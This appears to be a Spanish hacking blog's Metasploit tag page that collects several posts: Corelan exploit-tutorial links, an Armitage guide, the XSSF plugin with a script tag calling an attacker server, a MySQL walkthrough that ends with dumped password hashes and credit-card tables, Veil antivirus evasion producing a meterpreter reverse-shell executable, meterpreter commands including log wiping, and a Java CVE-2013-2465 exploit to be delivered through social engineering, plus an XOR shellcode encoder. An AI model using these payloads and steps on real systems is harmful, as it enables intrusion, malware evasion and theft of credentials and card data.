Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas

[Guía] Metasploit no funcionó, y ¿ahora qué?


Introducción
Los usuarios recién iniciados en el arte del pentesting, generalmente se basan en un solo factor de análisis o secuencia de técnicas:
- Análisis y explotación a nivel de sistema operativo:
  + Utilizar nmap, para obtener información acerca de los puertos y servicios que un servidor posee.
  + Utilización de exploit pre-diseñados bajo el framework Metasploit.

- Análisis y explotación a nivel de web:
  + Análisis de vulnerabilidades.
  + Explotación de vulnerabilidades.

Si ninguna de estas fases arroja un resultado positivo (para el atacante), comúnmente se suele buscar otro servidor para intentar esta vez tener más suerte.

¿Ahora qué?
Tienes dos alternativas:
1.- Seguir siendo un script kiddie, es decir utilizar herramientas de terceros para cometer actos de hacker o seguir siendo un lammer (utilizar las herramientas y peor aun proclamarse hackers).
2.- Aprender a hacer exploits y shellcodes desde cero.

Eh aquí la diferencia, muchos usuarios creen que aprender a manipular herramientas de terceros, los convierte en hackers, yo diría más bien en lammer si es que creen ser hackers o script kiddie si tienen noción y están concientes de que se están iniciando pero aun así desean aprender más.

La diferencia principal entre un sujeto que presume ser hacker y uno que en realidad lo es, es muy simple:
Un hacker será capaz de encontrar nuevas vulnerabilidades o moldear existentes bajo el entorno que se le presente y podrá facilitar sus análisis o pruebas de conceptos bajo la creación de herramientas (saber programar), si es así, un hacker debe sí o sí saber programar ya que de esta manera su teoría podría ser aplicada en herramientas reales que podrán ser utilizadas de manera privada o pública (criterio del hacker).

Para ello comparto con ustedes una serie de tutoriales en donde se explica como explotar fallos de seguridad en Windows desde cero, teniendo como base nociones de depuración y programación ensamblador (MASM):

Serie de tutoriales
Autor: CorelanC0d3r
Lenguaje: Español
Traductor: Ivinson
Links:

Creacion de Exploits 1 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 2 por corelanc0d3r traducido por Ivinson

Creacion de Exploits SEH parte 3 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 3b SEH por corelanc0d3r traducido por Ivinson

Creacion de Exploits 4 De Exploit a Metasploit por corelanc0d3r traducido por Ivinson

Creacion de Exploits 5 Acelerar el Proceso con Plugins y modulos por corelanc0d3r traducido por Ivinson

Creacion de Exploits 6 Cookies del Stack SafeSEH SEHOP HW DEP y ASLR por corelanc0d3r traducido por Ivinson

Creacion de Exploits 7 Unicode De 00410041 a la Calc por corelanc0d3r traducido por Ivinson

Creacion de Exploits 8 Caceria de Huevos Win32 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 9 Introduccion al Shellcoding Win32 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 10_ Uniendo DEP con ROP - El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson_CLS

Creacion de Exploits 11 Heap Spraying Desmitificado por corelanc0d3r traducido por Ivinson

En caso de que algún link estuviera malo, por favor ir a http://ricardonarvaja.info/WEB/buscador.php e introducir "corelan" sin las comillas.

Resumen
Autor: .:UND3R:
Links: Resumen serie de tutoriales corelan por UND3R

Armitage sin secretos



1-SOBRE ARMITAGE:

1.1-Qué es armitage?

Armitage es un Administrador Gráfico de Ciber Ataques para Metasploit que sirve para visualizar gráficamente tus objetivos, el mismo programa te recomienda que exploit usar, expone las opciones avanzadas del framework (esas que comúnmente se nos olvida o no sabemos), desde el mismo Armitage podemos iniciar un análisis con Nmap, e incluso se puede usar el módulo de Brute Force para sacar username/password.

El objetivo de Armitage es hacer Metasploit útil para los profesionales de seguridad que saben hacking, pero no el uso de Metasploit a fondo. Si desean aprender las características avanzadas de Metasploit, Armitage será de gran ayuda.


1.2-Administración de Ciber Ataques

Armitage organiza las capacidades de metasploit alrededor del proceso de hacking. Hay características para descubrimiento, acceso, post-explotación, y maniobra.

Para descubrimiento, Armitage expone varias de las capacidades de gestion de hosts de Metasploit. Puede importar objetivos y lanzar escaneos para llenar una base de objetivos. Armitage también visualiza la base de datos de objetivos. usted sabrá con cual hosts ests trabajando, con y donde tienes sesiones.

Armitage ayuda con explotación remota proporcionando características para recomendar exploits automáticamente o incluso ejecutar chequeos activos para que sepas cuales exploits funcionarán. Si estas opciones fallan, puedes usar el método de "Ave María" y desatar un db_autopwn inteligente de armitage contra tu objetivo.

Una vez estás dentro, Armitage provee muchas herramientas post-explotación basadas en las capacidades de el agente meterpreter.

Con el click de un menu podrás escalar privilegios, volcar hashes de passwords a una base de datos local de credenciales, navegar el sistema como si fueras local, y lanzar consolas de comandos.


Finalmente, Armitage ayuda en el proceso de creación de pivotes, una capacidad que le permite usar hosts comprometidos como una plataforma para atacar otros hosts y seguir investigando la red objetivo. Armitage incluso expone el módulo SOCKS proxy de metasploit, el cual permite que herramientas externas tomen ventajas de estos pivotes.Con estas herramientas, usted puede explorar más y maniobrar a través de la red.

1.3 Vocabulario necesario

Usar Armitage, ayudaría entender Metasploit. Aqui hay algunas cosas que absolutamente deberías conocer antes de continuar:

Metasploit es una aplicación manejada por consola.Cualquier cosa que hagas en armitage es traducido a un comando que metasploit entienda. Puede pasar por alto Armitage y tipear comandos tu mismo (mas tardé veremos eso). Si estás perdido en la consola escribe help y pulsa enter.

Metasploit presenta sus capacidades como modulos. Cada escáner, exploit, e in cluso cada payload está disponible como un módulo. si estas escaneando un host, usas un módulo auxiliar. Antes de lanzar un módulo debes ajustar una o más variables para configurar el módulo. El proceso de explotación es similar. Para lanzar un exploit debes escoger un módulo exploit, ajustar una o más variables y lanzarlo. Armitage apunta a hacer este proceso más fácil para ti.

Si el exploit tiene exito, tienes una sesión en el host. Armitage sabe como interactuar con shell y con sesiones de Windows meterpreter.

Meterpreter es un agente de avanzada que pone a su disposición muchas funcionalidades para post-explotación.Armitage está construido para sacar provecho de meterpreter. (lo de trabajo con meterpreter lo veremos después)

"El curso <Metasploit Unleashed> mantenido por el equipo de Offensive Security es excelente, y se recomienda verlo antes de continuar" Link http://www.fastandeasyhacking.com/manual

2.Primeros pasos

2.1 Prerequisitos

Armitage es instalado con el paquete completo de Metasploit 3.7.0. Éste tiene todos los prerequisitos necesarios incluyendo:

*Java 1.6.0+
*Metasploit 3.7.0+
* Una base de datos y la información para conectar a ella

Asegurate de usar la versión oficial de Oracle Java. Este proyecto no soporta otros entornos Java.

Si quieres la ultima versión de Metasploit Framework. Armitage es probado con la última versión de metasploit, asi que no se garantiza que funcione bien con versiones viejas. Usa subversion para obtener la última versión de Metasploit y mantenlo actualizado usando regularmente el comado msfupdate.

Finalmente, debes tener una Base de datos para conectar Metasploit. Armitage necesita que conozcas el usuario, contraseña, nombre del host y base de datos antes de conectar.

" Yo recomiendo altamente usar PostgreSQL en vez de MySQL. Hay un problema sin resolver en Metasploit que causa que las bases de datos MYSQL se rompan cuando Metasploit elige cambiar un esquema de la base de datos. El equipo Metasploit también prueba con Postgres. Los instaladores de Metasploit en su versión completa tanto en Windows como en Linux se encargan de configurar Postgres para ti.

2.2 Primeros Pasos:

Para instalar armitage en linux:

1-Comprobar que tiene privilegios de root
2-Descargar e instalar Metasploit framework desde www.metasploit.com
3-despúes de la instalación, ejecutar /opt/framework/app/msfupdate para actualizar Metasploit
4-Instalar un visor VNC (ejemplo: apt-get install vncviewer )

Para lanzar Armitage:

Código: Bash
  1. sudo armitage

Click en Start MSF para iniciar el demonio RPC de metasploit y conectar a él. La configuración de la base de datos instalada de Metasploit ya están configurados. No es necesario cambiar la secuencia de conexion a la DB.

[Armitage recoge las configuraciones de la DB de Metasploit desde su instalación completa. Si has cambiado la secuencia de conexión a la base de datos antes de leer esta documentación, hay posibilidad de que Armitage la haya guardado. Adivina que, Armitage no funcionará. Borra el archivo .armitage.prop de tu carpeta personal para restaurar la secuencia de conexión a la base de datos por defecto.

2.3 primeros pasos: Backtrack Linux

Backtrack Linux 5 incluye Metasploit y Armitage listos para usar.

Necesitas iniciar mysql para eso

Código: Bash
  1. /etc/init./mysql start


Nos conectaremos a la base de datos para poder usar Armitage -->

Código: Bash
  1. msfrpcd -f -U msf -P test -t Basic

Abre una terminal y escribe armitage para iniciar Armitage.

host: 127.0.0.1
Port: 55553
User: msf
Pass: test


Click en el botón Connect para lanzar Metasploit y conectar a el.


Si quieres usar Armitage Backtrack Linux es la manera más fácil para empezar

2.3 vista general

La interfaz de armitage cuenta con tres paneles principales: módulos, objetivos y pestañas. puedes redimensionar los paneles haciendo click en el area entre ellos.


Un computador rojo con rayos eléctricos alrededor indica un host comprometido. Puedes darle click derecho para usar cualquier sesión obtenida.

Una flecha direccional indica un pivote de un host a otro. Esto le permite a Metasploit encaminar escaneos y ataques a través de hosts intermediarios.Una línea verde brillante indica que la comunicación con el pivote está en uso.

Puedes clickear un host para seleccionarlo. Se pueden seleccionar varios host al tiempo clickeando y arrastrando para crear una selección rectangular sobre los hosts deseados. Cuando sea posible, Armitage tratará de aplicar una acción (por ejemplo lanzar un exploit) a todos los hosts seleccionados.

Click derecho a un host para mostrar un menu con las opciones disponibles, el menú adjunto mostrará ataques y opciones de logueo, menus para sesiones existentes, y opciones para editar la información del host.

Aqui les dejo el enlace a un video de como usarlo mas explicado


Autor: briansx_404

Xssf Metasploit Plugin


Descripción:

El Cross-Site Scripting Framework (XSSF) Es una herramienta para explotar esta vulnerabilidad
Es muy facil de usar. El XSSF permite crear un canal de comunicacion con el browser del target al que atacaremos.
Esta herramienta se puede integrar dentro del Framework de Metasploit y permite a los usuarios de MSF lanzarlos desde el browser.





Instalación:

1 - Descargar la ultima version de Metasploit
2 - Actualizar Ruby
3 - Abrir una terminal y navegar hasta el directorio [ /opt/metasploit/../msf3 ]
4 - Descargar XSSF usando el siguiente repositorio:
[ svn export http://xssf.googlecode.com/svn/trunk ./ --force ]


Instrucciones:

1 - Iniciar Metasploit Framework (MSF Console)
2 - Cargar el plugin XSSF usando el comando: 'load xssf'
3 - Se puede modificar el puerto con el siguiente comando: 'load xssf Port=80'
4 - Para cambiar la URL se utiliza el siguiente comando: 'load xssf Uri=/'
5 - Ejemplo del ataque: <script src=”http://IP-Server-MSF:Port/loop?interval=5”></script>


XSSF home:
[ https://code.google.com/p/xssf/ ]

Source Code:
[ https://code.google.com/p/xssf/source/browse/trunk/modules/?r=5#modules%2Fauxiliary%2Fxssf ]


Atacando Mysql con Metasploit


MySQL es una de las bases de datos más utilizadas que está siendo utilizado por muchas aplicaciones en nowadays.So en un trabajo de pruebas de penetración es casi imposible no encontrar un sistema que va a ejecutar un server.In MySQL este artículo vamos a ver cómo podemos atacar una base de datos MySQL con la ayuda del marco de Metasploit.

Digamos que está en el ámbito de nuestra prueba de penetración es un primer paso MySQL server.The es descubrir la versión del Marco database.Metasploit tiene un módulo que nos permite encontrar la versión del database.Knowing la versión de la base de datos nos ayudará a descubrir vulnerabilidades adicionales.


Módulo Metasploit para MySQL versión enumeración

Lo único que tenemos que hacer es insertar la dirección IP remota y ejecutarlo con la orden de marcha.


Ahora podemos usar la mysql_login módulo en combinación con nuestras listas de palabras con el fin de descubrir al menos una cuenta de base de datos válido que nos permitirá iniciar sesión en el database.It MySQL es siempre una buena práctica como pruebas de penetración para comprobar la base de datos de credenciales débiles .


El escáner fue un éxito y ahora como podemos ver en los resultados que tenemos dos cuentas válidas ( invitados y de raíz ) para connection.Both remota de estas cuentas no tienen un conjunto de contraseñas.

Antes de usar estas cuentas con el fin de conectarse e interactuar directamente con la base de datos que podemos usar otros dos módulos de Metasploit que nos pueden ayudar para enumerar las cuentas de base de datos y para volcar los nombres de usuario y hashes de contraseñas del curso MySQL server.Of esto se puede hacer manualmente, pero Metasploit nos ayuda a automatizar este process.So primero vamos a configurar el módulo mysql_enum con el fin de encontrar información sobre las accouts base de datos:



Podemos ver una muestra de la salida en la siguiente imagen:


Siguiente es el momento de configurar y ejecutar el mysql_hashdump módulo con el fin de volcar los hashes de las contraseñas de todas las cuentas de base de datos:


Ahora podemos usar cualquier cliente mysql para conectarse a la database.Backtrack ha ya un cliente para que podamos usar el comando mysql-h IP-u usuario-p contraseña . En nuestro caso, nuestro IP del destino es 172.16.212.133 y lo haremos utilizar como nombre de usuario de la raíz que se ha descubierto desde el mysql_login módulo before.We se le solicitará una contraseña, pero vamos a dejarlo en blanco ya que la contraseña para la raíz cuenta está en blanco.


Ahora que estamos conectados a la base de datos, podemos utilizar el comando show databases; con el fin de descubrir las bases de datos que se almacenan en el servidor MySQL.



Como siguiente paso es elegir una base de datos y luego tratar de ver las tablas que contiene, a fin de iniciar el extracto data.We puede hacer eso con el comando <dbname> utilización y el comando show tables;


Podemos ver que hay una mesa user.We quisiera extraer los datos de esa tabla, ya que contiene los nombres de usuario y contraseñas de la system.we pueden lograr que con el comando de selección de usuario, contraseña de usuario;


Como podemos ver hay 3 cuentas con passwords.So blanco ahora tenemos todas las cuentas de la database.We MySQL ahora podemos descubrir mesas adicionales de otras bases de datos con el comando show tables de <dbname>;


La tabla interesante aquí es los credit_cards lo que nos gustaría poder ver el contenido de este table.We cambiarán la base de datos con el comando uso <dbname> y vamos a ejecutar el comando espectáculo * de credit_cards;


Ahora tenemos todos los detalles de tarjetas de crédito de los usuarios y todas las cuentas y contraseñas de la base de datos.

Fuente: http://pentestlab.wordpress.com/


[Guía] Metasploit no funcionó, y ¿ahora qué?


Introducción
Los usuarios recién iniciados en el arte del pentesting, generalmente se basan en un solo factor de análisis o secuencia de técnicas:
- Análisis y explotación a nivel de sistema operativo:
  + Utilizar nmap, para obtener información acerca de los puertos y servicios que un servidor posee.
  + Utilización de exploit pre-diseñados bajo el framework Metasploit.

- Análisis y explotación a nivel de web:
  + Análisis de vulnerabilidades.
  + Explotación de vulnerabilidades.

Si ninguna de estas fases arroja un resultado positivo (para el atacante), comúnmente se suele buscar otro servidor para intentar esta vez tener más suerte.

¿Ahora qué?
Tienes dos alternativas:
1.- Seguir siendo un script kiddie, es decir utilizar herramientas de terceros para cometer actos de hacker o seguir siendo un lammer (utilizar las herramientas y peor aun proclamarse hackers).
2.- Aprender a hacer exploits y shellcodes desde cero.

Eh aquí la diferencia, muchos usuarios creen que aprender a manipular herramientas de terceros, los convierte en hackers, yo diría más bien en lammer si es que creen ser hackers o script kiddie si tienen noción y están concientes de que se están iniciando pero aun así desean aprender más.

La diferencia principal entre un sujeto que presume ser hacker y uno que en realidad lo es, es muy simple:
Un hacker será capaz de encontrar nuevas vulnerabilidades o moldear existentes bajo el entorno que se le presente y podrá facilitar sus análisis o pruebas de conceptos bajo la creación de herramientas (saber programar), si es así, un hacker debe sí o sí saber programar ya que de esta manera su teoría podría ser aplicada en herramientas reales que podrán ser utilizadas de manera privada o pública (criterio del hacker).

Para ello comparto con ustedes una serie de tutoriales en donde se explica como explotar fallos de seguridad en Windows desde cero, teniendo como base nociones de depuración y programación ensamblador (MASM):

Serie de tutoriales
Autor: CorelanC0d3r
Lenguaje: Español
Traductor: Ivinson
Links:
Creacion de Exploits 1 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 2 por corelanc0d3r traducido por Ivinson

Creacion de Exploits SEH parte 3 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 3b SEH por corelanc0d3r traducido por Ivinson

Creacion de Exploits 4 De Exploit a Metasploit por corelanc0d3r traducido por Ivinson

Creacion de Exploits 5 Acelerar el Proceso con Plugins y modulos por corelanc0d3r traducido por Ivinson

Creacion de Exploits 6 Cookies del Stack SafeSEH SEHOP HW DEP y ASLR por corelanc0d3r traducido por Ivinson

Creacion de Exploits 7 Unicode De 00410041 a la Calc por corelanc0d3r traducido por Ivinson

Creacion de Exploits 8 Caceria de Huevos Win32 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 9 Introduccion al Shellcoding Win32 por corelanc0d3r traducido por Ivinson

Creacion de Exploits 10_ Uniendo DEP con ROP - El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson_CLS

Creacion de Exploits 11 Heap Spraying Desmitificado por corelanc0d3r traducido por Ivinson

En caso de que algún link estuviera malo, por favor ir a http://ricardonarvaja.info/WEB/buscador.php e introducir "corelan" sin las comillas.

Resumen
Autor: .:UND3R:
Links: Resumen serie de tutoriales corelan por UND3R

Veil – Evasión de Antivirus


Veil es una herramienta escrita en Python por Christopher Truncer para crear payloads de Metasploit capaces de evadir la mayoría de los antivirus. Utiliza métodos distintos para generar payloads diferentes y permite al usuario usar Pyinstaller o Py2Exe para convertir los payloads de Python a ejecutables.

Descarga Veil:
git clone https://github.com/ChrisTruncer/Veil
cd Veil
python Veil.py
root@stuxnet:/media/Stuxnet/Pentesting/veil# python Veil.py
 
=========================================================================
 Veil First Run Detected... Initializing Script Setup...
=========================================================================
 
 [*] Executing ./config/update.py...
 [>] Please enter the path of your metasploit installation: /media/Stuxnet/Pentesting/msf
 [*] OPERATING_SYSTEM = Linux
 [*] TERMINAL_CLEAR = clear
 [*] VEIL_PATH = /media/Stuxnet/Pentesting/veil/
 [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
 [*] Path '/root/veil-output/source/' Created
 [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
 [*] Path '/ro
ot/veil-output/compiled/' Created
 [*] TEMP_DIR = /tmp/
 [*] METASPLOIT_PATH = /media/Stuxnet/Pentesting/msf
 [*] PYINSTALLER_PATH = /opt/pyinstaller-2.0/
 [*] MSFVENOM_OPTIONS =
 [*] Configuration File Written To /media/Stuxnet/Pentesting/veil/config/settings.py
 
=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================
 
 [!] WARNING: Official support for Kali Linux (x86) only at this time!
 [!] WARNING: Continue at your own risk!
 
 Main Menu
 
    18 payloads loaded
 
 Available commands:
 
    use             use a specific payload
    update          update Veil to the latest version
    list            list available languages/payloads
    info            information on a specific payload
    exit            exit Veil
 
 [>] Please enter a command: list
 
 
=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================
 
 [!] WARNING: Official support for Kali Linux (x86) only at this time!
 [!] WARNING: Continue at your own risk!
 
 Available payloads:
 
    1)  c/VirtualAlloc                  Poor
    2)  c/VoidPointer                   Poor
 
    3)  c#/VirtualAlloc                 Poor
    4)  c#/b64SubVirtualAlloc           Normal
 
    5)  native/BackdoorFactory          Normal
    6)  native/hyperion                 Normal
    7)  native/pescrambler              Normal
 
    8)  powershell/DownloadVirtualAlloc     Excellent
    9)  powershell/PsexecVirtualAlloc       Excellent
    10) powershell/VirtualAlloc         Excellent
 
    11) python/AESEncrypted             Excellent
    12) python/ARCEncrypted             Excellent
    13) python/Base64Encode             Excellent
    14) python/DESEncrypted             Excellent
    15) python/FlatInjection            Normal
    16) python/LetterSubstitution       Excellent
    17) python/MeterHTTPContained       Excellent
    18) python/MeterHTTPSContained      Excellent
 
 [>] Please enter a command: 11
 
=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================
 
Payload: python/AESEncrypted loaded
 
 Required Options:
 
 Name           Current Value   Description
 ----           -------------   -----------
 compile_to_exe     Y           Compile to an executable
 inject_method      virtual     [virtual]alloc or [void]pointer
 use_pyherion       N           Use the pyherion encrypter
 
 Available commands:
 
    set             set a specific option value
    info            show information about the payload
    help [crypters] show help menu for payload or crypters
    generate        generate payload
    exit            exit Veil
    back            go to the main menu
 
 [>] Please enter a command: generate
 
=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================
 
[?] Use msfvenom or supply custom shellcode?
 
        1 - msfvenom (default)
        2 - Custom
 
 [>] Please enter the number of your choice: 1
 
 [*] Press [enter] for windows/meterpreter/reverse_tcp
 [*] Press [tab] to list available payloads
 [>] Please enter metasploit payload:
 [>] Enter value for 'LHOST', [tab] for local IP: xxx.xxx.xxx.xxx
 [>] Enter value for 'LPORT': 4444
 [>] Enter extra msfvenom options in OPTION=value syntax:
 
 [*] Generating shellcode...
 
=========================================================================
 Veil | [Version]: 2.1.0
=========================================================================
 [Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================
 
 [*] Press [enter] for 'payload'
 [>] Please enter the base name for output files:
 
 [?] How would you like to create your payload executable?
 
        1 - Pyinstaller (default)
        2 - Py2Exe
 
 [>] Please enter the number of your choice: 1
Seleccionamos la opción 1 y finalizamos. En este momento empieza a salir varios mensajes por consola mientras genera el ejecutable y finalmente, muestra un resumen de todo. En este se puede ver la ruta en la que ha dejado el resultado. Ahora abrimos Metasploit:
msf> use exploit/multi/handler
msf exploit(handler) > exploit



Meterpreter de Metasploit


Meterpreter es un Payload que se ejecuta después del proceso de explotación o abuso de una vulnerabilidad en un sistema operativo, meterpreter es el diminutivo para meta-interprete y se ejecuta completamente en memoria; evitando así tener problemas con los Antivirus.

Las características más importantes de este shellcode son:
1. Eliminación de archivos de Log.
2. Captura de pantalla.
3. Carga y descarga de archivos.
4. Copiar información.
5. Extracción de información de configuración

IDLETIME
Permite consultar el tiempo en el que el usuario de la maquina victima ha estado ausente.

SCREENSHOT
Permite extraer una imagen del escritorio remoto.

UICTL
Permite controlar algunos de los componentes del sistema afectado.

Password Database Commads

HASHDUMP
Permite consultar el contenido del la base de datos SAM en sistemas Windows.

BACKGROUND
Ejecuta la sesión actual en segundo plano para retornar a la línea de comandos de Meterpreter, para regresar a la sesión se ejecuta el comando tradicional (sessions –i 1).

MIGRATE
Permite migrarse a otro proceso en la maquina víctima.

File Systems Commands

LS
Permite visualizar los archivos en el directorio remoto actual.

DOWNLOAD
Permite descargar un archivo de la maquina atacada, es necesario hacer uso del back-slash doble en la ruta del mismo.

UPLOAD
Permite cargar un archivo en una ruta especifica, de la misma manera que el comando download es necesario hacer uso del doble slash al momento de indicar la ruta.

SEARCH
Permite buscar archivos en la maquina víctima, además:
1. Permite indicar el tipo de archivo.
2. Permite indicar la ruta donde se quiere realizar la búsqueda.

IPCONFIG
Permite visualizar todas la información de todas tarjetas de red existentes en la maquina atacada

ROUTE
Permite consultar y modificar la tabla de enrutamiento.

EXECUTE
Permite ejecutar un comando.

GETPRIVS
Permite obtener tantos privilegios de administración como sea posible.

GETUID
Permite consultar el tipo de usuario que la maquina victima esta ejecutando.

PS
Permite consultar todos los procesos que están en ejecución.

SHELL
Permite obtener un Shell, o línea de comando.

SYSINFO
Permite obtener información del sistema remoto como:

1. Nombre de la maquina.
2. Sistema Operativo.
3. Tipo de arquitectura.
4. Lenguaje del sistema operativo.

ENUMDESKTOPS
Permite consultar todas las sesiones (o escritorios).



CVE-2013-2465 - Java storeImageArray() Invalid Array Indexing


Este módulo de Metasploit abusa de la vulneravilidad matriz indexación no válida en la función storeImageArray() de la función estática para producir una corrupción de memoria y finalmente evadir el Sandbox de Java. La vulnerabilidad afecta a Java versión 7u21 y versiones anteriores.


Explotando CVE-2013-2465 con mestasploit:
msf > use exploit/multi/browser/java_storeimagearray
msf exploit(java_storeimagearray) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_storeimagearray) > set LHOST [IP Local]
msf exploit(java_storeimagearray) > set srvhost [IP Local]
msf exploit(java_storeimagearray) > set uripath /
msf exploit(java_storeimagearray) > exploit
Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.

Post realizado por Stuxnet


Bad chars y encoders/decoders en payloads


En la lista de la ekoparty alguien pregunto como podia detectar bad chars en una payload.

Es por eso que voy a introducir un poco estos conceptos:
Una payload como todos sabemos es una combinacion de codigo y datos que se inyectan en un proceso corriendo para explotarlo, puede ser para un buffer overflow, memory corruption, heap overflow, etc.
Esta payload generalmente debe tener unos requisitos para que el programa la acepte, por ejemplo si la payload pasa por strcpy no podemos tener un caracter nulo porque no terminaria de copiar todo el buffer, sino que lo haria hasta donde este el caracter nulo (0).
Ejemplo:

buffer = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11";
__________________________________||_______________
strcpy copia hasta aca, el resto no lo copia

A ese byte lo consideramos un bad char y es lo que tenemos que evitar, se puede utilizar un encoder en asm si nuestra payload va a ser ejecutada, sino tenemos que pensar en cambiar la payload.
El caracter nulo es un bad char caracteristico de strcpy y varias funciones mas porque es el caracter que se usa para terminar las cadenas en C (y varios lenguajes mas). Pero si nos encontramos ante un servidor HTTP por ejemplo tendriamos que tener en cuenta otros bad chars como es el caso de '\r' o '\n' que son terminadores de linea en el protocolo y seguramente nos van a interrumpir la payload cuando el server la parsee.
Otros protocolos/programas tendran otros bad chars y es por eso que a veces tendremos que reversear el programa si nuestra payload por alguna razon no llega a provocar la corrupcion que estamos buscando.

Aqui por ejemplo tenemos un pequeno programa en python para buscar bad chars en una payload, solamente ponemos nuestra payload y los bad chars que no acepta el programa que queremos explotar.

payload = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11"
bad_chars = "\x00\n"
 
for offset in range(0, len(payload)):
    if(payload[offset] in bad_chars):
        print "tienes un bad char en el offset %s" % (offset)
Por otro lado como habia mencionado hay veces que no podemos remover ese bad char porque puede ser una intruccion fundamental en nuestra shellcode como un long jump obligatorio a una direccion que contenga 0.
Aqui entran en juego los encoders, lo que se hace es codificar la payload y agregar un decoder en la misma, que son pequenos stubs en ASM que se ejecutan antes de la payload y decodifican el resto.
Una de las codificaciones mas usadas es la que se hace con XOR, como bien sabemos si nosotros xoreamos un byte con otro podemos volver al estado inicial volviendolo a xorear con el mismo byte.

Ejemplo : 
10 XOR 32 = 22
22 XOR 32 = 10

Ahora que tenemos la teoria, sabemos que podemos xorear toda la payload y agregar un header que la vuelva a su estado decodificado.

Un codificador de payload podria ser asi:

#include 
 
int size_payload = 12;
char *payload = "\x12\x41\x23\x34\x21\x34\x23\x00\x98\x93\x83\x11";
char   xor_code = 0x22; //este byte tiene que ser igual en el stub en asm
 
int main(int argc, char *argv[])
{
    int i;
    for(i = 0; i < size_payload; i++){
        printf("0\\x%x", (char *)payload[i] ^ xor_code);
    }
}
y el stub que se le agregaria a una payload seria algo asi:

    jmp call_inicio
inicio:
    pop  esi                           ; sacamos la direccion de la payload codificada de la pila y la guardamos en esi
    mov eax, payload_code ; con el byte que xoreamos nuestra payload
    xor   ebx,ebx                   ;
    mov ecx, payload_size  ; el tamano que tiene nuestra payload
otra_vez:
    xor   dword ptr[esi+ebx], eax ; aqui aplicamos el xor
    inc   eax            ; aumentamos eax, es con el que contamos las posiciones de memoria
    dec  ecx
    jnz   otra_vez    ; si no terminamos de decodificar la payload saltamos a otra_vez
    jmp  comienzo_payload  ; una vez que terminamos saltamos a la payload real
call_inicio:
    call  inicio          ; usamos este truco para guardar la direccion de memoria donde comienza la payload, recordemos que call pone en la pila la
                              ;siguiente memoria
comienzo_payload:
       ; aqui va nuestra payload codificada.

Como veran es un codigo de apenas unos bytes y aunque este no esta optimizado pueden conseguir encoders/decoders muy eficientes que pueden hasta comprimir la payload si es muy grande.

Autor: snf